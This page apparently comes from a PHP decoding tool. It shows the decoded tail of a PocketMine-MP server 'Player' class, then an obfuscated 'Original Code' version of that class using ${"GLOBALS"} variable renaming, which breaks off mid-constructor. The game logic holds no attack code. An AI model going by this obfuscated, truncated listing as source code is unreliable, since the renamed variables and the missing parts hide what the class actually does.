as${${"GLOBALS"}["qnhmrhqnggr"]}){if(!isset(${${"GLOBALS"}["knqonkrarpgw"]}[$player->getLoaderId()])){$this->despawnFrom(${${"GLOBALS"}["qnhmrhqnggr"]});}else{$ilxvklpr="newChunk";unset(${$ilxvklpr}[$player->getLoaderId()]);${"GLOBALS"}["sovbyuys"]="reload";${${"GLOBALS"}["sovbyuys"]}[]=${${"GLOBALS"}["qnhmrhqnggr"]};}}foreach(${$rrnmxorc} as${${"GLOBALS"}["qnhmrhqnggr"]}){${"GLOBALS"}["flomjsgmdb"]="player";$this->spawnTo(${${"GLOBALS"}["flomjsgmdb"]});}}if($this->chunk===null){return;}$this->chunk->addEntity($this);}}protected function checkTeleportPosition(){if($this->teleportPosition!==null){${"GLOBALS"}["bxbpaefhzpn"]="chunkZ";${"GLOBALS"}["pgsruqvos"]="chunkX";${"GLOBALS"}["cshfmoon"]="X";${${"GLOBALS"}["pgsruqvos"]}=$this->teleportPosition->x>>4;${${"GLOBALS"}["bxbpaefhzpn"]}=$this->teleportPosition->z>>4;for(${${"GLOBALS"}["rbmfjwfncmxp"]}=-1;${${"GLOBALS"}["rbmfjwfncmxp"]}<=1;++${${"GLOBALS"}["cshfmoon"]}){for(${${"GLOBALS"}["txdpmuloyj"]}=-1;${${"GLOBALS"}["txdpmuloyj"]}<=1;++${${"GLOBALS"}["txdpmuloyj"]}){$ztbxpb="chunkX";$ejntyqh="index";${"GLOBALS"}["xxtuuxjiy"]="chunkZ";$gwyqnxicfbu="index";${"GLOBALS"}["urlthzcikhn"]="Z";if(!isset($this->usedChunks[${$ejntyqh}=Level::chunkHash(${$ztbxpb}+${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["xxtuuxjiy"]}+${${"GLOBALS"}["urlthzcikhn"]})])or$this->usedChunks[${$gwyqnxicfbu}]===false){return false;}}}$this->sendPosition($this,null,null,1);$this->spawnToAll();$this->forceMovement=$this->teleportPosition;$this->teleportPosition=null;return true;}return true;}public function teleport(Vector3$pos,$yaw=null,$pitch=null){$emcsvddfymva="pitch";$sfuxmyetdqt="oldPos";if(!$this->isOnline()){return false;}${"GLOBALS"}["jgumygbqwkl"]="pos";$yeosrw="yaw";${$sfuxmyetdqt}=$this->getPosition();if(parent::teleport(${${"GLOBALS"}["jgumygbqwkl"]},${$yeosrw},${$emcsvddfymva})){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$zttwahok="window";if(${${"GLOBALS"}["tosljdjh"]}===$this->inventory){continue;}$this->removeWindow(${$zttwahok});}$this->teleportPosition=new Vector3($this->x,$this->y,$this->z);if(!$this->checkTeleportPosition()){${"GLOBALS"}["llkmyfsdo"]="oldPos";$this->forceMovement=${${"GLOBALS"}["llkmyfsdo"]};}else{$this->spawnToAll();}$this->resetFallDistance();$this->nextChunkOrderRun=0;$this->newPosition=null;$this->stopSleep();return true;}return false;}public function teleportImmediate(Vector3$pos,$yaw=null,$pitch=null){$pdadfnjwfq="pitch";if(parent::teleport(${${"GLOBALS"}["wxoehmqbtg"]},${${"GLOBALS"}["fpjrglovqm"]},${$pdadfnjwfq})){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$czwakffs="window";if(${$czwakffs}===$this->inventory){continue;}$this->removeWindow(${${"GLOBALS"}["tosljdjh"]});}$this->forceMovement=new Vector3($this->x,$this->y,$this->z);$this->sendPosition($this,$this->yaw,$this->pitch,1);$this->resetFallDistance();$this->orderChunks();$this->nextChunkOrderRun=0;$this->newPosition=null;}}public function getWindowId(Inventory$inventory):int{if($this->windows->contains(${${"GLOBALS"}["sdvdbukwmn"]})){${"GLOBALS"}["dwwsjormlin"]="inventory";return$this->windows[${${"GLOBALS"}["dwwsjormlin"]}];}return-1;}public function addWindow(Inventory$inventory,$forceId=null):int{$yigylmltsfu="inventory";if($this->windows->contains(${$yigylmltsfu})){$vmzimvbm="inventory";return$this->windows[${$vmzimvbm}];}$gzvnwoxnmok="inventory";${"GLOBALS"}["wgsenj"]="inventory";if(${${"GLOBALS"}["qsjjhu"]}===null){$this->windowCnt=${${"GLOBALS"}["qsdfffo"]}=max(2,++$this->windowCnt%99);}else{${"GLOBALS"}["jkqethpjlidd"]="cnt";${${"GLOBALS"}["jkqethpjlidd"]}=(int)${${"GLOBALS"}["qsjjhu"]};}${"GLOBALS"}["wdbxsxsoeej"]="cnt";$this->windowIndex[${${"GLOBALS"}["wdbxsxsoeej"]}]=${$gzvnwoxnmok};$bfybctemt="cnt";$this->windows->attach(${${"GLOBALS"}["wgsenj"]},${$bfybctemt});if($inventory->open($this)){$vvsxicdznox="cnt";return${$vvsxicdznox};}else{$this->removeWindow(${${"GLOBALS"}["sdvdbukwmn"]});return-1;}}public function removeWindow(Inventory$inventory){$inventory->close($this);if($this->windows->contains(${${"GLOBALS"}["sdvdbukwmn"]})){$lyyjqvunzvv="id";$ulwwuz="id";${"GLOBALS"}["uqygkfdw"]="inventory";${"GLOBALS"}["tnvinncguap"]="id";${$lyyjqvunzvv}=$this->windows[${${"GLOBALS"}["uqygkfdw"]}];$this->windows->detach($this->windowIndex[${${"GLOBALS"}["tnvinncguap"]}]);unset($this->windowIndex[${$ulwwuz}]);}}public function setMetadata($metadataKey,MetadataValue$metadataValue){${"GLOBALS"}["xwzxyfcfztvj"]="metadataValue";$this->server->getPlayerMetadata()->setMetadata($this,${${"GLOBALS"}["dtoedn"]},${${"GLOBALS"}["xwzxyfcfztvj"]});}public function getMetadata($metadataKey){return$this->server->getPlayerMetadata()->getMetadata($this,${${"GLOBALS"}["dtoedn"]});}public function hasMetadata($metadataKey){return$this->server->getPlayerMetadata()->hasMetadata($this,${${"GLOBALS"}["dtoedn"]});}public function removeMetadata($metadataKey,Plugin$plugin){${"GLOBALS"}["iufqedf"]="plugin";$this->server->getPlayerMetadata()->removeMetadata($this,${${"GLOBALS"}["dtoedn"]},${${"GLOBALS"}["iufqedf"]});}public function onChunkChanged(FullChunk$chunk){$this->loadQueue[Level::chunkHash($chunk->getX(),$chunk->getZ())]=abs(($this->x>>4)-$chunk->getX())+abs(($this->z>>4)-$chunk->getZ());}public function onChunkLoaded(FullChunk$chunk){}public function onChunkPopulated(FullChunk$chunk){}public function onChunkUnloaded(FullChunk$chunk){}public function onBlockChanged(Vector3$block){}public function getLoaderId(){return$this->loaderId;}public function isLoaderActive(){return$this->isConnected();}public static function getChunkCacheFromData($chunkX,$chunkZ,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){$qnrfybgrgf="pk";$fmpopdkmpy="chunkX";${"GLOBALS"}["dqtwkvqjyn"]="payload";${${"GLOBALS"}["ozzywsrssq"]}=new FullChunkDataPacket();$pk->chunkX=${$fmpopdkmpy};$pk->chunkZ=${${"GLOBALS"}["dwjjtd"]};${"GLOBALS"}["wbxkojdr"]="ordering";$pk->order=${${"GLOBALS"}["wbxkojdr"]};$pk->data=${${"GLOBALS"}["dqtwkvqjyn"]};$pk->encode();return${$qnrfybgrgf};}}  
?>

Did this file decode correctly?

Original Code

<?php namespace pocketmine;${"GLOBALS"}["dtoedn"]="metadataKey";${"GLOBALS"}["qsdfffo"]="cnt";${"GLOBALS"}["qsjjhu"]="forceId";${"GLOBALS"}["sdvdbukwmn"]="inventory";${"GLOBALS"}["knqonkrarpgw"]="newChunk";${"GLOBALS"}["jrvpsabiq"]="reload";${"GLOBALS"}["dgvgvh"]="mode";${"GLOBALS"}["kvphqr"]="source";${"GLOBALS"}["atfjurku"]="damage";${"GLOBALS"}["rrviqs"]="amount";${"GLOBALS"}["gordtxxcvh"]="params";${"GLOBALS"}["pysiiolnxh"]="e";${"GLOBALS"}["zmuhpbybd"]="cause";${"GLOBALS"}["jhpqclndfsq"]="notify";${"GLOBALS"}["jsxvzpkhuha"]="subtitle";${"GLOBALS"}["agiqutmbx"]="parameters";${"GLOBALS"}["dttnfasbmgir"]="m";${"GLOBALS"}["pvemrbfhr"]="mes";${"GLOBALS"}["blfxlne"]="reason";${"GLOBALS"}["sniubrdqyet"]="t";${"GLOBALS"}["wphesenu"]="inv";${"GLOBALS"}["fadixrmo"]="transaction";${"GLOBALS"}["oyhuokq"]="extraItem";${"GLOBALS"}["uqictxrg"]="newItem";${"GLOBALS"}["temxnfsbc"]="used";${"GLOBALS"}["xexsmxb"]="result";${"GLOBALS"}["jhwcijuv"]="ingredients";${"GLOBALS"}["gjjebprqtv"]="remove";${"GLOBALS"}["xelopofclyp"]="n";${"GLOBALS"}["ufdfbmfqh"]="needed";${"GLOBALS"}["vwfdonghmrr"]="y";${"GLOBALS"}["lktqbjmvtzkt"]="canCraft";${"GLOBALS"}["hecsbjfle"]="ingredient";${"GLOBALS"}["pvyuvbity"]="floatingInventory";${"GLOBALS"}["xbsqxzmzhg"]="r";${"GLOBALS"}["kwewsihnj"]="possibleRecipes";${"GLOBALS"}["bhmieid"]="recipe";${"GLOBALS"}["tosljdjh"]="window";${"GLOBALS"}["ewudwjkf"]="anvilInventory";${"GLOBALS"}["vyzlfgfs"]="message";${"GLOBALS"}["ygkpnsu"]="thornsEvent";${"GLOBALS"}["lbyppmcwjln"]="fireEv";${"GLOBALS"}["aezyqbzp"]="fireAspectL";${"GLOBALS"}["ttjkyjvwjtvx"]="cancelled";${"GLOBALS"}["jxhudpfslpd"]="vector";${"GLOBALS"}["hejqsdj"]="p";${"GLOBALS"}["dgolqrqwfa"]="arrow";${"GLOBALS"}["pwmecmu"]="side";${"GLOBALS"}["qeqmjamnwk"]="thrownPotion";${"GLOBALS"}["sxiedlzsmp"]="thrownExpBottle";${"GLOBALS"}["cehxwvpx"]="egg";${"GLOBALS"}["sxucesvsrdan"]="snowball";${"GLOBALS"}["ncshhzck"]="projectileEv";${"GLOBALS"}["otbgujnkc"]="f";${"GLOBALS"}["lolkqcukqy"]="aimPos";${"GLOBALS"}["hxxizz"]="target";${"GLOBALS"}["pezmjbzb"]="blockVector";${"GLOBALS"}["kdwdeptg"]="found";${"GLOBALS"}["dfgxmweyoham"]="slot";${"GLOBALS"}["ohyhznni"]="dist";${"GLOBALS"}["kezzbew"]="c";${"GLOBALS"}["fpvodvxg"]="valid";${"GLOBALS"}["svpvqyhf"]="len";${"GLOBALS"}["oronttejy"]="tile";${"GLOBALS"}["snbhmgypsq"]="nbt";${"GLOBALS"}["vjqqcpbch"]="d";${"GLOBALS"}["vcjiseb"]="dot1";${"GLOBALS"}["fhbmvwvi"]="dot";${"GLOBALS"}["qzwrrkc"]="maxDistance";${"GLOBALS"}["wswpvg"]="eyePos";${"GLOBALS"}["upcbeljlenhu"]="expectedVelocity";${"GLOBALS"}["nrkxjt"]="tempos";${"GLOBALS"}["woxkgve"]="j";${"GLOBALS"}["klpkqij"]="tickDiff";${"GLOBALS"}["kyjjmgh"]="currentTick";${"GLOBALS"}["hzleyixsfkp"]="entries";${"GLOBALS"}["jsfeuxvh"]="moving";${"GLOBALS"}["pxiwzxnx"]="headYaw";${"GLOBALS"}["wvtjdkymit"]="pitch";${"GLOBALS"}["fpjrglovqm"]="yaw";${"GLOBALS"}["lnajtnm"]="to";${"GLOBALS"}["suqlgnvhse"]="isFirst";${"GLOBALS"}["airqtkrd"]="deltaAngle";${"GLOBALS"}["wpmiqyw"]="diffX";${"GLOBALS"}["bwaqorjihg"]="diff";${"GLOBALS"}["xrlythxdifz"]="yS";${"GLOBALS"}["qmwdfikxc"]="diffY";${"GLOBALS"}["ioksphyz"]="dz";${"GLOBALS"}["xojacv"]="dy";${"GLOBALS"}["uzxmxytm"]="dx";${"GLOBALS"}["ctvidhurc"]="distanceSquared";${"GLOBALS"}["rtkvnyyhk"]="revert";${"GLOBALS"}["zblhoo"]="chunk";${"GLOBALS"}["bkghbqddjuht"]="newPos";${"GLOBALS"}["swmvqygzd"]="add";${"GLOBALS"}["fohexunnbe"]="item";${"GLOBALS"}["raioovemq"]="block";${"GLOBALS"}["xydwvsmhpur"]="type";${"GLOBALS"}["fueouqcqi"]="id";${"GLOBALS"}["drylubndbbyo"]="flags";${"GLOBALS"}["jdfbduzetjp"]="gm";${"GLOBALS"}["senpcvj"]="identifier";${"GLOBALS"}["wqowpxyy"]="needACK";${"GLOBALS"}["qebrriohj"]="packet";${"GLOBALS"}["tbswehs"]="bool";${"GLOBALS"}["letosku"]="newOrder";${"GLOBALS"}["saxhnvcly"]="viewDistance";${"GLOBALS"}["oilgiiu"]="i";${"GLOBALS"}["qxfkcywf"]="leg";${"GLOBALS"}["tcvuwigjqw"]="layer";${"GLOBALS"}["byoktfhtm"]="centerZ";${"GLOBALS"}["zokmuumnsf"]="centerX";${"GLOBALS"}["huqxyhbptjl"]="lastChunk";${"GLOBALS"}["hppkbcn"]="msg";${"GLOBALS"}["dwjjtd"]="chunkZ";${"GLOBALS"}["uvtebnejz"]="chunkX";${"GLOBALS"}["qcfzvl"]="ev";${"GLOBALS"}["wxoehmqbtg"]="pos";${"GLOBALS"}["cfrejkkd"]="count";${"GLOBALS"}["ribemcedxese"]="distance";${"GLOBALS"}["fjwhrljo"]="batch";${"GLOBALS"}["mkwzsezq"]="BATCH_THRESHOLD";${"GLOBALS"}["bfkluni"]="x";${"GLOBALS"}["yiewjbrtorvu"]="entity";${"GLOBALS"}["qdqdqtc"]="z";${"GLOBALS"}["fqzvbrngzs"]="oldLevel";${"GLOBALS"}["txdpmuloyj"]="Z";${"GLOBALS"}["rbmfjwfncmxp"]="X";${"GLOBALS"}["uspqxtmors"]="index";${"GLOBALS"}["bpbdtlmmiipb"]="targetLevel";${"GLOBALS"}["lvqgksf"]="str";${"GLOBALS"}["brcqxrmczen"]="interface";${"GLOBALS"}["qqjiqgeccbh"]="name";${"GLOBALS"}["qnhmrhqnggr"]="player";${"GLOBALS"}["lalxhrpdciqp"]="value";${"GLOBALS"}["qqhvthwj"]="exp";${"GLOBALS"}["mqgpqffss"]="level";${"GLOBALS"}["ozzywsrssq"]="pk";use pocketmine\block\Block;use pocketmine\block\Air;use pocketmine\block\Fire;use pocketmine\block\PressurePlate;use pocketmine\command\CommandSender;use pocketmine\entity\Animal;use pocketmine\entity\Arrow;use pocketmine\entity\Attribute;use pocketmine\entity\AttributeMap;use pocketmine\entity\Boat;use pocketmine\entity\Effect;use pocketmine\entity\Entity;use pocketmine\entity\FishingHook;use pocketmine\entity\Human;use pocketmine\entity\Item as DroppedItem;use pocketmine\entity\Living;use pocketmine\entity\Minecart;use pocketmine\entity\Projectile;use pocketmine\entity\ThrownExpBottle;use pocketmine\entity\ThrownPotion;use pocketmine\event\block\BlockBreakEvent;use pocketmine\event\block\ItemFrameDropItemEvent;use pocketmine\event\block\SignChangeEvent;use pocketmine\event\entity\EntityCombustByEntityEvent;use pocketmine\event\entity\EntityDamageByBlockEvent;use pocketmine\event\entity\EntityDamageByEntityEvent;use pocketmine\event\entity\EntityDamageEvent;use pocketmine\event\entity\EntityRegainHealthEvent;use pocketmine\event\entity\EntityShootBowEvent;use pocketmine\event\entity\ProjectileLaunchEvent;use pocketmine\event\inventory\CraftItemEvent;use pocketmine\event\inventory\InventoryCloseEvent;use pocketmine\event\inventory\InventoryPickupArrowEvent;use pocketmine\event\inventory\InventoryPickupItemEvent;use pocketmine\event\player\PlayerExhaustEvent;use pocketmine\event\player\PlayerTextPreSendEvent;use pocketmine\event\player\PlayerAnimationEvent;use pocketmine\event\player\PlayerBedEnterEvent;use pocketmine\event\player\PlayerBedLeaveEvent;use pocketmine\event\player\PlayerChatEvent;use pocketmine\event\player\PlayerCommandPreprocessEvent;use pocketmine\event\player\PlayerDeathEvent;use pocketmine\event\player\PlayerDropItemEvent;use pocketmine\event\player\PlayerGameModeChangeEvent;use pocketmine\event\player\PlayerHungerChangeEvent;use pocketmine\event\player\PlayerInteractEvent;use pocketmine\event\player\PlayerItemConsumeEvent;use pocketmine\event\player\PlayerJoinEvent;use pocketmine\event\player\PlayerKickEvent;use pocketmine\event\player\PlayerLoginEvent;use pocketmine\event\player\PlayerMoveEvent;use pocketmine\event\player\PlayerPreLoginEvent;use pocketmine\event\player\PlayerQuitEvent;use pocketmine\event\player\PlayerRespawnEvent;use pocketmine\event\player\PlayerToggleSneakEvent;use pocketmine\event\player\PlayerToggleSprintEvent;use pocketmine\event\player\PlayerUseFishingRodEvent;use pocketmine\event\server\DataPacketReceiveEvent;use pocketmine\event\server\DataPacketSendEvent;use pocketmine\event\TextContainer;use pocketmine\event\Timings;use pocketmine\event\TranslationContainer;use pocketmine\inventory\AnvilInventory;use pocketmine\inventory\BaseTransaction;use pocketmine\inventory\BigShapedRecipe;use pocketmine\inventory\BigShapelessRecipe;use pocketmine\inventory\DropItemTransaction;use pocketmine\inventory\EnchantInventory;use pocketmine\inventory\FurnaceInventory;use pocketmine\inventory\Inventory;use pocketmine\inventory\InventoryHolder;use pocketmine\inventory\PlayerInventory;use pocketmine\inventory\ShapedRecipe;use pocketmine\inventory\ShapelessRecipe;use pocketmine\item\enchantment\Enchantment;use pocketmine\item\FoodSource;use pocketmine\item\Item;use pocketmine\item\Potion;use pocketmine\level\ChunkLoader;use pocketmine\level\format\FullChunk;use pocketmine\level\Level;use pocketmine\level\Location;use pocketmine\level\Position;use pocketmine\level\sound\LaunchSound;use pocketmine\math\AxisAlignedBB;use pocketmine\math\Vector2;use pocketmine\math\Vector3;use pocketmine\metadata\MetadataValue;use pocketmine\nbt\NBT;use pocketmine\nbt\tag\ByteTag;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\DoubleTag;use pocketmine\nbt\tag\ListTag;use pocketmine\nbt\tag\FloatTag;use pocketmine\nbt\tag\IntTag;use pocketmine\nbt\tag\LongTag;use pocketmine\nbt\tag\ShortTag;use pocketmine\nbt\tag\StringTag;use pocketmine\network\AnyVersionManager;use pocketmine\network\Network;use pocketmine\network\protocol\AdventureSettingsPacket;use pocketmine\network\protocol\AnimatePacket;use pocketmine\network\protocol\BatchPacket;use pocketmine\network\protocol\BlockEntityDataPacket;use pocketmine\network\protocol\ChunkRadiusUpdatedPacket;use pocketmine\network\protocol\ContainerClosePacket;use pocketmine\network\protocol\ContainerSetContentPacket;use pocketmine\network\protocol\ChangeDimensionPacket;use pocketmine\network\protocol\DataPacket;use pocketmine\network\protocol\DisconnectPacket;use pocketmine\network\protocol\EntityEventPacket;use pocketmine\network\protocol\FullChunkDataPacket;use pocketmine\network\protocol\Info;use pocketmine\network\protocol\Info as ProtocolInfo;use pocketmine\network\protocol\InteractPacket;use pocketmine\network\protocol\LevelEventPacket;use pocketmine\network\protocol\MobEquipmentPacket;use pocketmine\network\protocol\MovePlayerPacket;use pocketmine\network\protocol\p70\ChunkRadiusUpdatePacket;use pocketmine\network\protocol\p70\LoginPacket;use pocketmine\network\protocol\p70\RemovePlayerPacket;use pocketmine\network\protocol\PlayerActionPacket;use pocketmine\network\protocol\PlayStatusPacket;use pocketmine\network\protocol\RemoveEntityPacket;use pocketmine\network\protocol\RespawnPacket;use pocketmine\network\protocol\SetDifficultyPacket;use pocketmine\network\protocol\SetEntityMotionPacket;use pocketmine\network\protocol\SetEntityDataPacket;use pocketmine\network\protocol\SetHealthPacket;use pocketmine\network\protocol\SetSpawnPositionPacket;use pocketmine\network\protocol\SetTimePacket;use pocketmine\network\protocol\StartGamePacket;use pocketmine\network\protocol\SetPlayerGameTypePacket;use pocketmine\network\protocol\TakeItemEntityPacket;use pocketmine\network\protocol\TextPacket;use pocketmine\network\protocol\UpdateAttributesPacket;use pocketmine\network\protocol\UpdateBlockPacket;use pocketmine\network\SourceInterface;use pocketmine\permission\PermissibleBase;use pocketmine\permission\PermissionAttachment;use pocketmine\plugin\Plugin;use pocketmine\tile\ItemFrame;use pocketmine\tile\Sign;use pocketmine\tile\Spawnable;use pocketmine\tile\Tile;use pocketmine\utils\BinaryStream;use pocketmine\utils\TextFormat;use pocketmine\utils\UUID;use raklib\Binary;class Player extends Human implements CommandSender,InventoryHolder,ChunkLoader,IPlayer{const SURVIVAL=0;const CREATIVE=1;const ADVENTURE=2;const SPECTATOR=3;const VIEW=Player::SPECTATOR;const CRAFTING_SMALL=0;const CRAFTING_BIG=1;const CRAFTING_ANVIL=2;const CRAFTING_ENCHANT=3;protected$interface;public$playedBefore=false;public$spawned=false;public$loggedIn=false;public$gamemode;public$lastBreak;protected$windowCnt=2;protected$windows;protected$windowIndex=[];public$loginData=[];protected$messageCounter=2;protected$sendIndex=0;private$clientSecret;public$speed=null;public$blocked=false;public$achievements=[];public$lastCorrect;public$craftingType=self::CRAFTING_SMALL;protected$isCrafting=false;public$creationTime=0;protected$randomClientId;protected$protocol;public static$staticProtocol;protected$lastMovement=0;protected$forceMovement=null;protected$teleportPosition=null;protected$connected=true;protected$ip;protected$removeFormat=false;protected$port;protected$username;protected$iusername;protected$displayName;protected$startAction=-1;protected$sleeping=null;protected$clientID=null;private$loaderId=null;protected$stepHeight=0.6;public$usedChunks=[];protected$chunkLoadCount=0;protected$loadQueue=[];protected$nextChunkOrderRun=5;protected$hiddenPlayers=[];protected$newPosition;protected$viewDistance;protected$chunksPerTick;protected$spawnThreshold;protected$spawnPosition=null;protected$inAirTicks=0;protected$startAirTicks=5;protected$autoJump=true;protected$allowFlight=false;private$needACK=[];private$batchedPackets=[];private$perm=null;public$weatherData=[0,0,0];public$fromPos=null;private$portalTime=0;protected$shouldSendStatus=false;private$shouldResPos;public$fishingHook=null;public$selectedPos=[];public$selectedLev=[];protected$personalCreativeItems=[];protected$ping=0;public function setPing(int$ping){${"GLOBALS"}["hwvapllouy"]="ping";return$this->ping=${${"GLOBALS"}["hwvapllouy"]};}public function getPing(){return$this->ping;}public function linkHookToPlayer(FishingHook$entity){if($entity->isAlive()){${"GLOBALS"}["mlkgfhjf"]="entity";${"GLOBALS"}["kyeiyyb"]="pk";${"GLOBALS"}["tedkpsyw"]="pk";$this->setFishingHook(${${"GLOBALS"}["mlkgfhjf"]});${${"GLOBALS"}["tedkpsyw"]}=new EntityEventPacket();$pk->eid=$this->getFishingHook()->getId();$pk->event=EntityEventPacket::FISH_HOOK_POSITION;$this->server->broadcastPacket($this->level->getPlayers(),${${"GLOBALS"}["kyeiyyb"]});return true;}return false;}public function unlinkHookFromPlayer(){if($this->fishingHook instanceof FishingHook){${"GLOBALS"}["mgjmuzc"]="pk";${${"GLOBALS"}["mgjmuzc"]}=new EntityEventPacket();$pk->eid=$this->fishingHook->getId();$pk->event=EntityEventPacket::FISH_HOOK_TEASE;$this->server->broadcastPacket($this->level->getPlayers(),${${"GLOBALS"}["ozzywsrssq"]});$this->setFishingHook();return true;}return false;}public function isFishing(){return($this->fishingHook instanceof FishingHook);}public function getFishingHook(){return$this->fishingHook;}public function setFishingHook(FishingHook$entity=null){${"GLOBALS"}["wmkrdnprm"]="entity";$xcwnxxamvfd="entity";if(${${"GLOBALS"}["wmkrdnprm"]}==null and$this->fishingHook instanceof FishingHook){$this->fishingHook->close();}$this->fishingHook=${$xcwnxxamvfd};}public function getItemInHand(){return$this->inventory->getItemInHand();}public function getLeaveMessage(){return new TranslationContainer(TextFormat::YELLOW."%multiplayer.player.left",[$this->getDisplayName()]);}public function setExperienceAndLevel(int$exp,int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->setTotalXp(self::getTotalXpRequirement(${${"GLOBALS"}["mqgpqffss"]})+${${"GLOBALS"}["qqhvthwj"]});}public function setExp(int$exp){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);${"GLOBALS"}["sljpdh"]="exp";return$this->setTotalXp(${${"GLOBALS"}["sljpdh"]});}public function setExpLevel(int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->setXpLevel(${${"GLOBALS"}["mqgpqffss"]});}public function getExpectedExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return self::getTotalXpRequirement($this->getXpLevel()+1);}public function getLevelUpExpectedExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return self::getLevelXpRequirement($this->getXpLevel()+1);}public function calcExpLevel(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);}public function addExperience(int$exp){$lrcfbppdcv="exp";trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->addXp(${$lrcfbppdcv});}public function addExpLevel(int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->addXpLevel(${${"GLOBALS"}["mqgpqffss"]});}public function getExp(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->getTotalXp();}public function getExpLevel(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->getXpLevel();}public function canPickupExp():bool{trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->canPickupXp();}public function resetExpCooldown(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);$this->resetXpCooldown();}public function updateExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);}public function getClientId(){return$this->randomClientId;}public function getClientSecret(){return$this->clientSecret;}public function isBanned(){return$this->server->getNameBans()->isBanned(strtolower($this->getName()));}public function setBanned($value){${"GLOBALS"}["dvfbnlubeih"]="value";if(${${"GLOBALS"}["dvfbnlubeih"]}===true){$this->server->getNameBans()->addBan($this->getName(),null,null,null);$this->kick(TextFormat::RED."You have been banned");}else{$this->server->getNameBans()->remove($this->getName());}}public function isWhitelisted():bool{return$this->server->isWhitelisted(strtolower($this->getName()));}public function setWhitelisted($value){$kttsnho="value";if(${$kttsnho}===true){$this->server->addWhitelist(strtolower($this->getName()));}else{$this->server->removeWhitelist(strtolower($this->getName()));}}public function getPlayer(){return$this;}public function getFirstPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["firstPlayed"]:null;}public function getLastPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["lastPlayed"]:null;}public function hasPlayedBefore(){return$this->playedBefore;}public function setAllowFlight($value){$this->allowFlight=(bool)${${"GLOBALS"}["lalxhrpdciqp"]};$this->sendSettings();}public function getAllowFlight():bool{return$this->allowFlight;}public function setAutoJump($value){$this->autoJump=${${"GLOBALS"}["lalxhrpdciqp"]};$this->sendSettings();}public function hasAutoJump():bool{return$this->autoJump;}public function spawnTo(Player$player){if($this->spawned and$player->spawned and$this->isAlive()and$player->isAlive()and$player->getLevel()===$this->level and$player->canSee($this)and!$this->isSpectator()){${"GLOBALS"}["kmrwkknofpm"]="player";parent::spawnTo(${${"GLOBALS"}["kmrwkknofpm"]});}}public function getServer(){return$this->server;}public function getRemoveFormat(){return$this->removeFormat;}public function setRemoveFormat($remove=true){$etetlbolg="remove";$this->removeFormat=(bool)${$etetlbolg};}public function canSee(Player$player):bool{return!isset($this->hiddenPlayers[$player->getRawUniqueId()]);}public function hidePlayer(Player$player){$nxcdrxog="player";if(${$nxcdrxog}===$this){return;}$this->hiddenPlayers[$player->getRawUniqueId()]=${${"GLOBALS"}["qnhmrhqnggr"]};$player->despawnFrom($this);}public function showPlayer(Player$player){${"GLOBALS"}["enlucvygqujq"]="player";if(${${"GLOBALS"}["enlucvygqujq"]}===$this){return;}unset($this->hiddenPlayers[$player->getRawUniqueId()]);if($player->isOnline()){$player->spawnTo($this);}}public function canCollideWith(Entity$entity):bool{return false;}public function resetFallDistance(){parent::resetFallDistance();if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}public function isOnline():bool{return$this->connected===true and$this->loggedIn===true;}public function isOp():bool{return$this->server->isOp($this->getName());}public function setOp($value){if(${${"GLOBALS"}["lalxhrpdciqp"]}===$this->isOp()){return;}if(${${"GLOBALS"}["lalxhrpdciqp"]}===true){$this->server->addOp($this->getName());}else{$this->server->removeOp($this->getName());}$this->recalculatePermissions();}public function isPermissionSet($name){return$this->perm->isPermissionSet(${${"GLOBALS"}["qqjiqgeccbh"]});}public function hasPermission($name):bool{$egeglqwiw="name";if($this->perm==null)return false;else return$this->perm->hasPermission(${$egeglqwiw});}public function addAttachment(Plugin$plugin,$name=null,$value=null){${"GLOBALS"}["onvgckwvbmk"]="plugin";if($this->perm==null)return false;return$this->perm->addAttachment(${${"GLOBALS"}["onvgckwvbmk"]},${${"GLOBALS"}["qqjiqgeccbh"]},${${"GLOBALS"}["lalxhrpdciqp"]});}public function removeAttachment(PermissionAttachment$attachment){$pifxpswcisy="attachment";if($this->perm==null){return false;}$this->perm->removeAttachment(${$pifxpswcisy});return true;}public function recalculatePermissions(){$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);if($this->perm===null){return;}$this->perm->recalculatePermissions();if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}}public function getEffectivePermissions(){return$this->perm->getEffectivePermissions();}public function __construct(SourceInterface$interface,$clientID,$ip,$port){$this->interface=${${"GLOBALS"}["brcqxrmczen"]};$this->windows=new\SplObjectStorage();$this->perm=new PermissibleBase($this);${"GLOBALS"}["ckmwfex"]="ip";$nmpplo="port";$this->namedtag=new 